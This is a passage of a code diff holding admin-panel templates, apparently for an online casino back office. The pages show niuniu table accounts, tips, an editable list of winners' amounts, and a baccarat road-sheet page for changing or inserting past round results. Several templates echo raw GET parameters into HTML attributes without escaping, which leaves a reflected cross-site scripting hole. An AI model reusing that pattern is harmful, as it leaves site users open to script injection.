.x-body .layui-form .layui-input-block{ display:inline-block; width:150px; margin-left:0; }
.x-body .layui-form .layui-form-item{ display:inline-block; margin-left:0; }
.x-body .layui-form .layui-form-item .layui-form-label{ width:48px; }
.x-body .layui-form .layui-form-item .layui-input-block{ margin-left:-10px; width:100px; }
.x-body .layui-form .layui-form-item .layui-input-block .layui-form-radio i{ margin-right:4px; }
.x-body .layui-form .layui-form-item .layui-form-radio{ margin-top:6px; margin-right:-8px; }
.layui-input-block dl{ text-align:left; }
.x-so{ margin:0; }
.x-so input.layui-input{ width:150px; }
.x-nav{overflow: inherit; } .x-nav .refresh{margin-right: 20px; }
.change_box .actived{border-right:1px solid #e5e5e5;border-left:1px solid #e5e5e5;border-top:1px solid #e5e5e5; position: relative; color: #3daae9; }
.change_box .actived:after{content: ""; bottom: -2px; background: #fff; width: 100%; height: 5px; position: absolute; left: 0; }
.change_box a{font-size: 14px;padding: 10.5px 10px;}
.title-ag{height: 40px; line-height: 40px; background: #fdeeda; margin-top: 10px; text-align:center;}
.title-ag span{font-size: 15px;}
.layui-table td, .layui-table th{font-size:12px;}
</style>
<body>
<div class="x-nav" style="padding: 0px;">
<span class="change_box">
<a href="javascript:;" class="list-one actived" data-id="1">牛牛桌台账目</a>
<!--<a href="javascript:;" class="list-two" data-id="2">玩家添加</a>-->
</span>
<a class="layui-btn layui-btn-small refresh" style="line-height:1.6em;margin-top:3px;float:right"
href="javascript:location.replace(location.href);" title="刷新">
<i class="layui-icon" style="line-height:30px">ဂ</i></a>
</div>
<br>
<div class="x-body">
<div class="layui-row">
<form class="layui-form layui-col-md12 x-so float-left" action="/table/nn" method="get">
<input class="layui-input" placeholder="开始时间" name="startDate" id="start" value="<?php if(isset($get['startDate'])) {echo $get['startDate'];} ?>">
<input class="layui-input" placeholder="结束时间" name="endDate" id="end" value="<?php if(isset($get['endDate'])) {echo $get['endDate'];} ?>">
<div class="layui-input-block" >
<select name="table_id" id="table_id">
<option value="-1" selected>请选择桌子</option>
{foreach name="$table_list" item="vo"}
<option value="{$vo.id}" <?php if(isset($get['table_id']) && $get['table_id'] == $vo['id']) {echo 'selected';} ?>>{$vo.table_name}</option>
{/foreach}
</select>
</div>
<button class="layui-btn" lay-submit="" lay-filter="sreach"><i class="layui-icon">&#xe615;</i></button>
<span class="layui-btn" id="export">导出excel</span>
<!-- <span class="layui-btn" id="print">打印</span> -->
</form>
</div>
<table class="layui-table">
<thead>
<tr>
<th>桌号</th>
<th>闲一</th>
<th>闲一翻倍</th>
<th>闲一-庄</th>
<th>闲一-庄翻倍</th>
<th>闲二</th>
<th>闲二翻倍</th>
<th>闲二-庄</th>
<th>闲二-庄翻倍</th>
<th>闲三</th>
<th>闲三翻倍</th>
<th>闲三-庄</th>
<th>闲三-庄翻倍</th>
<th>庄(次)</th>
<th>闲一(次)</th>
<th>闲二(次)</th>
<th>闲三(次)</th>
<th>总押</th>
<th>会员赢</th>
<th>收益</th>
</tr>
</thead>
<tbody>
{foreach name="table" item="vo"}
<tr>
<td>{$vo.table_name}</td>
<td>{$vo.amount_player_1_Sum}</td>
<td>{$vo.amount_player_1_times_Sum}</td>
<td>{$vo.amount_player_1_banker_Sum}</td>
<td>{$vo.amount_player_1_banker_times_Sum}</td>
<td>{$vo.amount_player_2_Sum}</td>
<td>{$vo.amount_player_2_times_Sum}</td>
<td>{$vo.amount_player_2_banker_Sum}</td>
<td>{$vo.amount_player_2_banker_times_Sum}</td>
<td>{$vo.amount_player_3_Sum}</td>
<td>{$vo.amount_player_3_times_Sum}</td>
<td>{$vo.amount_player_3_banker_Sum}</td>
<td>{$vo.amount_player_3_banker_times_Sum}</td>
<td>{$vo.win_banker}</td>
<td>{$vo.win_player_1}</td>
<td>{$vo.win_player_2}</td>
<td>{$vo.win_player_3}</td>
<td>{$vo.totalSum}</td>
<td>{$vo.totalWinSum}</td>
<td>{$vo.income}</td>
</tr>
{/foreach}
<!-- 汇总信息 -->
<tr style="border-left:1px solid #ddd;">
<td colspan="16" style="border-left:none;"></td>
<td>汇总</td>
<td>{$total_nn.total_sum}</td>
<td>{$total_nn.total_win_sum}</td>
<td>{$total_nn.income}</td>
</tr>
</tbody>
</table>
{$table->render()}
</div>
<script>
// 代理列表和添加代理切换
$('.x-nav .change_box a').click(function(){
// 样式切换
$('.x-nav .change_box a').removeClass('actived');
$(this).addClass('actived');
// 页面切换
var id = $(this).attr('data-id');
if(id == "1") location.href = '/table/dn';
// if(id == "2") location.href = '/player/player_add';
});
// 时间选择器
layui.use('laydate', function () {
var laydate = layui.laydate;
// 开始时间
laydate.render({
elem: '#start',
type: 'datetime'
});
// 结束时间
laydate.render({
elem: '#end',
type: 'datetime'
});
});
$('#print').click(function(){
var qs = getQueryString();
var startDate = qs["startDate"];
var endDate = qs["endDate"];
var table_id = qs["table_id"];
if(startDate == undefined) startDate = '';
if(endDate == undefined) endDate = '';
if(table_id == undefined) table_id = '';
layer.open({
type: 2,
title:'龙虎斗桌台账目打印',
content: '/table/nn_print?startDate='+startDate+'&endDate='+endDate+'&table_id='+table_id,
area: ['95%', '95%']
});
});
function getQueryString() {
var qs = location.search.substr(1), // 获取url中"?"符后的字串
args = {}, // 保存参数数据的对象
items = qs.length ? qs.split("&") : [], // 取得每一个参数项,
item = null,
len = items.length;
for(var i = 0; i < len; i++) {
item = items[i].split("=");
var name = decodeURIComponent(item[0]),
value = decodeURIComponent(item[1]);
if(name) {
args[name] = value;
}
}
return args;
}
// 导出excel
$('#export').click(function(){
var startDate = $('#start').val();
var endDate = $('#end').val();
var table_id = $('#table_id').val();
layer.confirm('确定导出 excel 吗?',function(index){
location.href = "/table/nn?export=1&startDate="+startDate+"&endDate="+endDate+"&table_id="+table_id;
layer.close(index);
});
})
</script>
</body>
</html>
@@ -0,0 +1,68 @@
{include file="public/header"}
<body>
<div class="x-body">
<div class="layui-btn no-print" onclick="jQuery('html').print()">打印</div>
<table class="layui-table">
<div style="text-align: center;font-size: 18px;font-weight:bold;">牛牛桌台账目</div>
<thead>
<tr>
<th style="text-align: center;">桌号</th>
<th style="text-align: center;">闲一</th>
<th style="text-align: center;">闲一翻倍</th>
<th style="text-align: center;">闲一-庄</th>
<th style="text-align: center;">闲一-庄翻倍</th>
<th style="text-align: center;">闲二</th>
<th style="text-align: center;">闲二翻倍</th>
<th style="text-align: center;">闲二-庄</th>
<th style="text-align: center;">闲二-庄翻倍</th>
<th style="text-align: center;">闲三</th>
<th style="text-align: center;">闲三翻倍</th>
<th style="text-align: center;">闲三-庄</th>
<th style="text-align: center;">闲三-庄翻倍</th>
<th style="text-align: center;">庄(次)</th>
<th style="text-align: center;">闲一(次)</th>
<th style="text-align: center;">闲二(次)</th>
<th style="text-align: center;">闲三(次)</th>
<th style="text-align: center;">总押</th>
<th style="text-align: center;">会员赢</th>
<th style="text-align: center;">收益</th>
</tr>
</thead>
<tbody>
{foreach name="table" item="vo"}
<tr>
<td>{$vo.table_name}</td>
<td>{$vo.amount_player_1_Sum}</td>
<td>{$vo.amount_player_1_times_Sum}</td>
<td>{$vo.amount_player_1_banker_Sum}</td>
<td>{$vo.amount_player_1_banker_times_Sum}</td>
<td>{$vo.amount_player_2_Sum}</td>
<td>{$vo.amount_player_2_times_Sum}</td>
<td>{$vo.amount_player_2_banker_Sum}</td>
<td>{$vo.amount_player_2_banker_times_Sum}</td>
<td>{$vo.amount_player_3_Sum}</td>
<td>{$vo.amount_player_3_times_Sum}</td>
<td>{$vo.amount_player_3_banker_Sum}</td>
<td>{$vo.amount_player_3_banker_times_Sum}</td>
<td>{$vo.win_banker}</td>
<td>{$vo.win_player_1}</td>
<td>{$vo.win_player_2}</td>
<td>{$vo.win_player_3}</td>
<td>{$vo.totalSum}</td>
<td>{$vo.totalWinSum}</td>
<td>{$vo.income}</td>
</tr>
{/foreach}
<!-- 汇总信息 -->
<tr style="border-left:1px solid #ddd;">
<td colspan="16" style="border-left:none;"></td>
<td>汇总</td>
<td>{$total_nn.total_sum}</td>
<td>{$total_nn.total_win_sum}</td>
<td>{$total_nn.income}</td>
</tr>
</tbody>
</div>
</body>
</html>
+70
View File
@@ -0,0 +1,70 @@
{include file="public/header"}
<style>
.x-body .layui-row{ margin-top:-10px; line-height:25px; background:#f5f5f5; border-radius:10px; }
.x-body .layui-row .xblock button{ margin-top:-20px; }
.x-body .layui-form{ margin-top:15px; margin-bottom:10px; }
.x-body .layui-form .layui-input-block{ display:inline-block; width:150px; margin-left:0; }
.x-body .layui-form .layui-form-item{ display:inline-block; margin-left:0; }
.x-body .layui-form .layui-form-item .layui-form-label{ width:48px; }
.x-body .layui-form .layui-form-item .layui-input-block{ margin-left:-10px; width:100px; }
.x-body .layui-form .layui-form-item .layui-input-block .layui-form-radio i{ margin-right:4px; }
.x-body .layui-form .layui-form-item .layui-form-radio{ margin-top:6px; margin-right:-8px; }
.layui-input-block dl{ text-align:left; }
.x-so{ margin:0; }
.x-so input.layui-input{ width:150px; }
.x-nav{overflow: inherit; } .x-nav .refresh{margin-right: 20px; }
</style>
<body>
<div class="x-nav" style="padding: 0px;">
<a class="layui-btn layui-btn-small refresh" style="line-height:1.6em;margin-top:3px;float:right"
href="javascript:location.replace(location.href);" title="刷新">
<i class="layui-icon" style="line-height:30px">ဂ</i></a>
</div>
<br>
<div class="x-body">
<div class="layui-row">
<form class="layui-form layui-col-md12 x-so float-left" action="/tip/index" method="get">
<input type="text" name="username" id="username" placeholder="请输入账户名" autocomplete="off" class="layui-input" value="<?php if(isset($get['username'])) {echo $get['username'];} ?>">
<button class="layui-btn" lay-submit="" lay-filter="sreach"><i class="layui-icon">&#xe615;</i></button>
<span class="layui-btn" id="export">导出 excel</span>
</form>
</div>
<table class="layui-table">
<thead>
<tr>
<th>用户ID</th>
<th>用户账号</th>
<th>桌子ID</th>
<th>桌子名称</th>
<th>打赏时间</th>
<th>打赏金额</th>
</tr>
</thead>
<tbody>
{foreach name="tip_list" item="vo"}
<tr>
<td>{$vo.user_id}</td>
<td>{$vo.username}</td>
<td>{$vo.table_id}</td>
<td>{$vo.table_name}</td>
<td>{$vo.create_time}</td>
<td>{$vo.money}</td>
</tr>
{/foreach}
</tbody>
</table>
{$tip_list->render()}
</div>
<script>
// 导出excel
$('#export').click(function(){
layer.confirm('确定导出 excel 吗?',function(index){
location.href = "/tip/index?export=1&{$query}";
layer.close(index);
});
});
</script>
</body>
</html>
+174
View File
@@ -0,0 +1,174 @@
{include file="public/header"}
<style>
.x-body .layui-row{ margin-top:-10px; line-height:25px; background:#f5f5f5; border-radius:10px; }
.x-body .layui-row .xblock button{ margin-top:-20px; }
.x-body .layui-form{ margin-top:15px; margin-bottom:10px; }
.x-body .layui-form .layui-input-block{ display:inline-block; width:150px; margin-left:0; }
.x-body .layui-form .layui-form-item{ display:inline-block; margin-left:0; }
.x-body .layui-form .layui-form-item .layui-form-label{ width:48px; }
.x-body .layui-form .layui-form-item .layui-input-block{ margin-left:-10px; width:100px; }
.x-body .layui-form .layui-form-item .layui-input-block .layui-form-radio i{ margin-right:4px; }
.x-body .layui-form .layui-form-item .layui-form-radio{ margin-top:6px; margin-right:-8px; }
.layui-input-block dl{ text-align:left; }
.x-so{ margin:0; }
.x-so input.layui-input{ width:150px; }
.x-nav{overflow: inherit; } .x-nav .refresh{margin-right: 20px; }
.change_box .actived{border-right:1px solid #e5e5e5;border-left:1px solid #e5e5e5;border-top:1px solid #e5e5e5; position: relative; color: #3daae9; }
.change_box .actived:after{content: ""; bottom: -2px; background: #fff; width: 100%; height: 5px; position: absolute; left: 0; }
.change_box a{font-size: 14px;padding: 10.5px 10px;}
.alert{position:fixed; top:15%; left:30%; width:400px; min-height:210px; background:#fff; border:1px solid #e2e2e2; border-radius:5px; display:none;}
.alert-title{background:#009688; height:40px; text-align: center; line-height:40px; font-size:14px; border-bootom:1px solid #F2F2F2;color:#fff;}
.add_input{padding: 10px; font-size: 14px;text-align: center;}
.alert-footer{padding:20px; text-align:center;}
.alert-footer span{padding:10px 30px; display:inline-block; border-radius:5px; cursor:pointer;}
</style>
<body>
<div class="x-nav" style="padding: 0px;">
<a class="layui-btn layui-btn-small refresh" style="line-height:1.6em;margin-top:3px;float:right"
href="javascript:location.replace(location.href);" title="刷新">
<i class="layui-icon" style="line-height:30px">ဂ</i></a>
</div>
<br>
<div class="layui-row">
<span class="layui-btn" style="margin-left: 20px;" onclick="showAdd()">添加</span>
</div>
<div class="x-body">
<table class="layui-table">
<thead>
<tr>
<th>用户名</th>
<th>赢钱金额</th>
<th>操作</th>
</tr>
</thead>
<tbody>
{foreach name="optimum_list" item="vo"}
<tr>
<td>{$vo.username}</td>
<td>{$vo.win_money}</td>
<td>
<a href="javascript:;" onclick="edit_optimum(this)" edit_id="{$vo.id}" edit_username="{$vo.username}" edit_win_money="{$vo.win_money}">
<span class="layui-btn layui-btn-normal layui-btn-mini" style="background:#009688;" >修改</span>
</a>
</td>
</tr>
{/foreach}
</tbody>
</table>
</div>
<div class="alert" id="alert_add">
<div class="alert-title">添加记录</div>
<div class="alert-main">
<div class="add_input">&nbsp;&nbsp;&nbsp;&nbsp;用户名:<input id="add_username" name="add_username" type="text" value maxlength="50" minlength="3"></div>
<div class="add_input">赢钱金额:<input id="add_winmoney" name="add_winmoney" type="text" value maxlength="50" minlength="3"></div>
</div>
<div class="alert-footer">
<span onclick="do_add_optimum()" class="input_button" style="background:#009688; border:1px solid #e2e2e2;color:#fff;">提交</span>
<span onclick="hiddenForm('alert_add')" class="input_button" style="background:#009688; border:1px solid #e2e2e2;color:#fff;">关闭</span>
</div>
</div>
<div class="alert" id="alert_edit">
<div class="alert-title">修改记录</div>
<div class="alert-main">
<input type="hidden" id="edit_id" value="">
<div class="add_input">&nbsp;&nbsp;&nbsp;&nbsp;用户名:<input id="edit_username" name="receivables_name" type="text" value maxlength="50" minlength="3"></div>
<div class="add_input">赢钱金额:<input id="edit_win_money" name="receivables_bank" type="text" value maxlength="50" minlength="3"></div>
</div>
<div class="alert-footer">
<span onclick="do_edit_optimum()" class="input_button" style="background:#009688; border:1px solid #e2e2e2;color:#fff;">提交</span>
<span onclick="hiddenForm('alert_edit')" class="input_button" style="background:#009688; border:1px solid #e2e2e2;color:#fff;">关闭</span>
</div>
</div>
<script>
/**
* 封装 AJAX 函数
* @param url 目标地址
* @param query 参数
* @returns {string}
*/
function ajax(url, query) {
var returnData = "";
$.ajax({
url: url,
data: query,
type: 'POST',
dataType: 'JSON',
async: false,
success: function (data) {
returnData = data;
}
});
return returnData;
}
// 显示用户的赔率
function showAdd(){
$('#alert_add').show();
}
//点击隐藏表单弹窗
function hiddenForm(id) {
$('#add_username').val('');
$('#add_winmoney').val('');
$('#' + id).hide();
}
function do_add_optimum(){
var query = new Object();
query.username = $('#add_username').val();
query.win_money = $('#add_winmoney').val();
if(query.username.length == 0){
layer.alert("请填写用户名!");
return false;
}
if(query.win_money.length == 0){
layer.alert("请填写赢钱金额!");
return false;
}
var result = ajax('/tip/do_add_optimum',query);
if(result.code == 1){
layer.alert(result.msg, {icon: 6}, function () {
location.href = "/tip/optimum";
});
}else{
layer.alert(result.msg,{icon:2});
}
return false;
}
function edit_optimum(obj){
var id = $(obj).attr('edit_id');
var username = $(obj).attr('edit_username');
var win_money = $(obj).attr('edit_win_money');
$('#edit_id').val(id);
$('#edit_username').val(username);
$('#edit_win_money').val(win_money);
$('#alert_edit').show();
}
function do_edit_optimum(){
var query = new Object();
query.edit_id = $('#edit_id').val();
query.username = $('#edit_username').val();
query.win_money = $('#edit_win_money').val();
if(query.username.length == 0){
layer.alert("请填写用户名!");
return false;
}
if(query.win_money.length == 0){
layer.alert("请填写赢钱金额!");
return false;
}
var result = ajax('/tip/do_edit_optimum',query);
if(result.code == 1){
layer.alert(result.msg, {icon: 6}, function () {
location.href = "/tip/optimum";
});
}else{
layer.alert(result.msg,{icon:2});
}
return false;
}
</script>
</body>
</html>
@@ -0,0 +1,503 @@
<!DOCTYPE html>
<html lang="zh-cn">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no" />
<meta name="renderer" content="webkit">
<title>百家乐路单修改</title>
<link rel="stylesheet" href="{$Think.ADMIN_STATIC_DOMAIN}static/admin/waybill/css/pintuer.css">
<link rel="stylesheet" href="{$Think.ADMIN_STATIC_DOMAIN}static/admin/waybill/css/admin.css">
<link rel="stylesheet" href="{$Think.ADMIN_STATIC_DOMAIN}static/admin/waybill/css/sweet-alert.css">
<script src="{$Think.ADMIN_STATIC_DOMAIN}static/admin/waybill/js/jquery.js"></script>
<script src="{$Think.ADMIN_STATIC_DOMAIN}static/admin/waybill/js/pintuer.js"></script>
<script src="{$Think.ADMIN_STATIC_DOMAIN}static/admin/waybill/js/functions.js"></script>
<script src="{$Think.ADMIN_STATIC_DOMAIN}static/admin/waybill/js/sweet-alert.min.js"></script>
<script src="{$Think.ADMIN_STATIC_DOMAIN}static/admin/waybill/laydate/laydate.js"></script>
<script src="{$Think.ADMIN_STATIC_DOMAIN}static/admin/waybill/layer/layer.js"></script>
<script type="text/javascript" src="{$Think.ADMIN_STATIC_DOMAIN}/static/admin/lib/layui/layui.js" charset="utf-8"></script>
<style>
.main-box{ width:100%; box-sizing:border-box; border: solid 1px #ddd; border-radius: 4px; -moz-box-sizing:border-box; /* Firefox */ -webkit-box-sizing:border-box; /* Safari */ }
.select-box{width:180px; padding:6px 10px; border:1px solid #ddd; border-radius:3px; margin-right:0px;margin-right:10px;}
</style>
</head>
<body style="margin:20px;">
<div class="admin-panel main-box">
<div class="panel-head"><strong class="icon-reorder"> 搜索查询</strong></div>
<div class="padding border-bottom">
<ul class="search" style="padding-left:10px;">
<li>
<dl class="search-dl">
<dd>开始时间:</dd>
<dd>
<input class="select-box" placeholder="开始时间" name="startDate" id="start" value="<?php if(isset($get['startDate'])) {echo $get['startDate'];} ?>">
</dd>
<dd>结束时间:</dd>
<dd>
<input class="select-box" placeholder="结束时间" name="endDate" id="end" value="<?php if(isset($get['endDate'])) {echo $get['endDate'];} ?>">
</dd>
<dd style="margin-right:10px;">
<select id="search_table_id" name="search_table_id" class="select-box">
<option value="-1">请选择桌子</option>
{volist name="$table_list" id="vo"}
<option value="{$vo.id}" <?php if(isset($get['search_table_id']) && $get['search_table_id'] == $vo['id']){echo 'selected="selected"';} ?>>{$vo.table_name}</option>
{/volist}
</select>
</dd>
<!--
<dd>靴号: &nbsp;</dd>
<dd style="margin-right:10px;">
<select id="search_boot_id" name="search_boot_id" class="select-box">
<option value="-1">请选择靴</option>
</select>
</dd>
--><!--
<dd>铺号: &nbsp;</dd>
<dd style="margin-right:20px;">
<select id="search_number_id" name="search_number_id" class="select-box">
<option value="-1">请选择铺</option>
</select>
<a href="javascript:void(0)" class="button border-main icon-file-excel-o" onclick="downloadExcel()" >&nbsp;&nbsp;&nbsp;&nbsp;导出当前数据</a>
</dd>-->
<a href="javascript:void(0)" class="button border-main icon-search" onclick="changesearch()" > 查询</a>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
</dl>
</li>
</ul>
</div>
<table class="table table-hover text-center">
<tr>
<th>游戏名称</th>
<th>桌子名称</th>
<th>靴号</th>
<th>铺号</th>
<th>结果</th>
<th>提交时间</th>
<th>操作</th>
</tr>
{volist name="$number_tab_list" id="vo"}
<tr class="vlist">
<td>{$vo.game_name}</td>
<td>{$vo.table_name}</td>
<td>{$vo.boot_num}</td>
<td>{$vo.number}</td>
{if condition="$vo.pair == ''"}
<td>{$vo.result}</td>
{else}
<td>{$vo.result}-{$vo.pair}</td>
{/if}
<td>{$vo.start_time}</td>
<td>
<div class="button-group">
<a class="button border-main" href="javascript:;"
data-game_name="{$vo.game_name}"
data-table_name="{$vo.table_name}"
data-boot_num="{$vo.boot_num}"
data-number="{$vo.number}"
data-result="{$vo.result}"
data-pair="{$vo.pair}"
data-win6="{$vo.win6}"
data-start_time="{$vo.start_time}"
data-game_id="{$vo.game_id}"
data-table_id="{$vo.table_id}"
data-boot_id="{$vo.boot_id}"
data-number_tab_id="{$vo.id}"
onclick="alertEidt(this)">修改</a>
<a class="button border-main" href="javascript:;"
data-game_name="{$vo.game_name}"
data-table_name="{$vo.table_name}"
data-boot_num="{$vo.boot_num}"
data-number="{$vo.number}"
data-game_id="{$vo.game_id}"
data-table_id="{$vo.table_id}"
data-boot_id="{$vo.boot_id}"
data-number_tab_id="{$vo.id}"
onclick="alertAdd(this)">在该铺后增加一口路单</a>
<!--<a class="button border-main" href="javascript:void(0)" onclick="deleteWaybill('{$vo.id}')">删除</a>-->
</div>
</td>
</tr>
{/volist}
<tr>
<td colspan="99" style="border-left:none;"><div colspan="99" style="text-align:center;">{$number_tab_list->render()}</div></td>
</tr>
</table>
</div>
<input type="hidden" value="<?php if(isset($get['search_table_id'])) {echo $get['search_table_id'];} ?>" id="table_id">
<input type="hidden" value="<?php if(isset($get['search_boot_id'])) {echo $get['search_boot_id'];} ?>" id="boot_id">
<input type="hidden" value="<?php if(isset($get['search_number_id'])) {echo $get['search_number_id'];} ?>" id="number_id">
<div class="update-ludan" id="update_ludan" style="display:none;">
<div class="update-ludan-title">修改结果</div>
<div class="update-ludan-msg">
开始时间:<span id="h_show_start_time"></span><br>
<span id="h_show_table_name"></span>-第<span id="h_show_boot_num"></span>靴-第<span id="h_show_number"></span>铺<br>
原结果:<span id="h_show_result"></span>&nbsp;<span id="h_show_pair"></span>&nbsp;<span id="h_show_win6"></span>
</div>
<div class="update-ludan-content">
请选择结果:
<select id="update_ludan_result">
<option value="">请选择</option>
<option value="1-0">庄</option>
<option value="2-0">闲</option>
<option value="3-0">和</option>
<option value="1-1">庄-庄对</option>
<option value="1-2">庄-闲对</option>
<option value="1-3">庄-庄闲对</option>
<option value="2-1">闲-庄对</option>
<option value="2-2">闲-闲对</option>
<option value="2-3">闲-庄闲对</option>
<option value="3-1">和-庄对</option>
<option value="3-2">和-闲对</option>
<option value="3-3">和-庄闲对</option>
</select>
</div>
<div class="update-ludan-win6">
是否赢6&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;&nbsp;&nbsp;否 <input name="updatewin6" type="radio" value="0" checked="checked" />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;是 <input name="updatewin6" type="radio" value="1" /></label>
</div>
<div class="update-ludan-footer">
<input type="hidden" id="h_game_id" value="">
<input type="hidden" id="h_table_id" value="">
<input type="hidden" id="h_boot_id" value="">
<input type="hidden" id="h_number_tab_id" value="">
<a id="confirm_update_ludan">确认</a>
<a id="cancel_update_ludan">取消</a>
</div>
</div>
<div class="update-ludan" id="add_ludan" style="display:none;">
<div class="update-ludan-title" style="color:#f00;">增加路单</div>
<div class="update-ludan-msg">
在 <span id="add_show_table_name"></span>-第<span id="add_show_boot_num"></span>靴-第<span id="add_show_number"></span>铺 后增加一个路单:
</div>
<div class="update-ludan-content">
请选择结果:
<select id="add_ludan_result">
<option value="">请选择</option>
<option value="1-0">庄</option>
<option value="2-0">闲</option>
<option value="3-0">和</option>
<option value="1-1">庄-庄对</option>
<option value="1-2">庄-闲对</option>
<option value="1-3">庄-庄闲对</option>
<option value="2-1">闲-庄对</option>
<option value="2-2">闲-闲对</option>
<option value="2-3">闲-庄闲对</option>
<option value="3-1">和-庄对</option>
<option value="3-2">和-闲对</option>
<option value="3-3">和-庄闲对</option>
</select>
</div>
<div class="update-ludan-win6">
是否赢6&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;&nbsp;&nbsp;否 <input name="addwin6" type="radio" value="0" checked="checked" />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;是 <input name="addwin6" type="radio" value="1" /></label>
</div>
<div class="update-ludan-footer">
<input type="hidden" id="add_game_id" value="">
<input type="hidden" id="add_table_id" value="">
<input type="hidden" id="add_boot_id" value="">
<input type="hidden" id="add_number_tab_id" value="">
<a id="confirm_add_ludan">确认</a>
<a id="cancel_add_ludan">取消</a>
</div>
</div>
<script type="text/javascript">
// 时间选择器
layui.use('laydate', function () {
var laydate = layui.laydate;
// 开始时间
laydate.render({
elem: '#start',
type: 'datetime'
});
// 结束时间
laydate.render({
elem: '#end',
type: 'datetime'
});
});
function alertAdd(obj){
$('#add_ludan').show();
$('#add_game_id').val($(obj).attr("data-game_id"));
$('#add_table_id').val($(obj).attr("data-table_id"));
$('#add_boot_id').val($(obj).attr("data-boot_id"));
$('#add_number_tab_id').val($(obj).attr("data-number_tab_id"));
$('#add_show_table_name').html($(obj).attr("data-table_name"));
$('#add_show_boot_num').html($(obj).attr("data-boot_num"));
$('#add_show_number').html($(obj).attr("data-number"));
}
function alertEidt(obj){
$('#update_ludan').show();
$('#h_game_id').val($(obj).attr("data-game_id"));
$('#h_table_id').val($(obj).attr("data-table_id"));
$('#h_boot_id').val($(obj).attr("data-boot_id"));
$('#h_number_tab_id').val($(obj).attr("data-number_tab_id"));
$('#h_show_start_time').html($(obj).attr("data-start_time"));
$('#h_show_table_name').html($(obj).attr("data-table_name"));
$('#h_show_boot_num').html($(obj).attr("data-boot_num"));
$('#h_show_number').html($(obj).attr("data-number"));
$('#h_show_result').html($(obj).attr("data-result"));
$('#h_show_pair').html($(obj).attr("data-pair"));
if($(obj).attr("data-win6") == 1){
$('#h_show_win6').html('赢6');
}else{
$('#h_show_win6').html('');
}
}
$(function(){
$('#cancel_update_ludan').click(function (){
$('#update_ludan').hide();
})
$('#confirm_update_ludan').click(function (){
var query = new Object();
if($('#h_game_id').val() > 0 && $('#h_table_id').val() > 0 && $('#h_boot_id').val() > 0 && $('#h_number_tab_id').val() > 0){
query.game_id = $('#h_game_id').val();
query.table_id = $('#h_table_id').val();
query.boot_id = $('#h_boot_id').val();
query.number_tab_id = $('#h_number_tab_id').val();
var result = $('#update_ludan_result').val();
if(result == ''){
layer.msg('请选择结果然后再提交');
return false;
}
result = result + '-' + $("input[name='updatewin6']:checked").val();
query.result = result;
// 发送数据给后台处理
$.ajax({
url:'/waybill/edit_number_tab',
data:query,
dataType:"json",
type:"POST",
async:false,
success:function(data){
if(data.code == 1){
layer.msg(data.msg,{time:1000},function(){
window.location.reload();
});
}else{
layer.msg(data.msg);
}
}
})
}else{
layer.msg('数据出错,不能修改,请稍后再试');
return false;
}
})
$('#cancel_add_ludan').click(function (){
$('#add_ludan').hide();
})
$('#confirm_add_ludan').click(function (){
var query = new Object();
if($('#add_game_id').val() > 0 && $('#add_table_id').val() > 0 && $('#add_boot_id').val() > 0 && $('#add_number_tab_id').val() > 0){
query.game_id = $('#add_game_id').val();
query.table_id = $('#add_table_id').val();
query.boot_id = $('#add_boot_id').val();
query.number_tab_id = $('#add_number_tab_id').val();
var result = $('#add_ludan_result').val();
if(result == ''){
layer.msg('请选择结果然后再提交');
return false;
}
result = result + '-' + $("input[name='addwin6']:checked").val();
query.result = result;
// 发送数据给后台处理
$.ajax({
url:'/waybill/add_number_tab',
data:query,
dataType:"json",
type:"POST",
async:false,
success:function(data){
if(data.code == 1){
layer.msg(data.msg,{time:1000},function(){
window.location.reload();
});
}else{
layer.msg(data.msg);
}
}
})
}else{
layer.msg('数据出错,不能修改,请稍后再试');
return false;
}
})
/* 查询之后保留查询条件 */
var table_id = $('#table_id').val();
var boot_id = $('#boot_id').val();
var number_id = $('#number_id').val();
var startDate = $('#start').val();
var endDate = $('#end').val();
var game_id = 1;
// 保留靴条件
if(table_id > 0){
// 清除上次遗留的靴数据
$('.boot').remove();
// 提交桌号给后台获取靴数据
var result = ajax('/waybill/baccarat_get_boot',{game_id:game_id,table_id:table_id,startDate:startDate,endDate:endDate});
if(result.code == 1){
var str = "";
for(var i = 0; i < result.data.length; i++){
if(boot_id == result.data[i].id){
str += '<option class="boot" value="'+result.data[i].id+'" selected="selected">'+result.data[i].boot_num+'</option>';
}else{
str += '<option class="boot" value="'+result.data[i].id+'">'+result.data[i].boot_num+'</option>';
}
}
// 显示
$('#search_boot_id').append(str);
}
}
// 保留铺条件
if(table_id > 0 && boot_id > 0){
// 清除上次遗留的铺数据
$('.number').remove();
// 提交桌号给后台获取靴数据
var result = ajax('/waybill/get_number',{game_id:game_id,table_id:table_id,boot_id:boot_id,startDate:startDate,endDate:endDate});
if(result.code == 1){
var str = "";
for(var i = 0; i < result.data.length; i++){
if(number_id == result.data[i].id){
str += '<option class="number" value="'+result.data[i].id+'" selected="selected">'+result.data[i].number+'</option>';
}else{
str += '<option class="number" value="'+result.data[i].id+'">'+result.data[i].number+'</option>';
}
}
// 显示
$('#search_number_id').append(str);
}
}
/* 监听桌子onchange事件 */
$(document).on('change','#search_table_id',function(){
// 清除上次遗留的靴和铺数据
$('.boot').remove();
$('.number').remove();
// 获取参数
var startDate = $('#start').val();
var endDate = $('#end').val();
var game_id = 1;
var table_id = $(this).val();
if(table_id <= 0){
return false;
}
// 提交桌号给后台获取靴数据
var result = ajax('/waybill/baccarat_get_boot',{game_id:game_id,table_id:table_id,startDate:startDate,endDate:endDate});
if(result.code == 1){
var str = "";
for(var i = 0; i < result.data.length; i++){
str += '<option class="boot" value="'+result.data[i].id+'">'+result.data[i].boot_num+'</option>';
}
// 显示
$('#search_boot_id').append(str);
}
});
/* 监听靴onchange事件 */
$(document).on('change','#search_boot_id',function(){
// 获取参数
var startDate = $('#start').val();
var endDate = $('#end').val();
var game_id = 1;
var table_id = $('#search_table_id').val();
var boot_id = $(this).val();
if(table_id <= 0) return false;
if(boot_id <= 0) return false;
// 提交桌号给后台获取靴数据
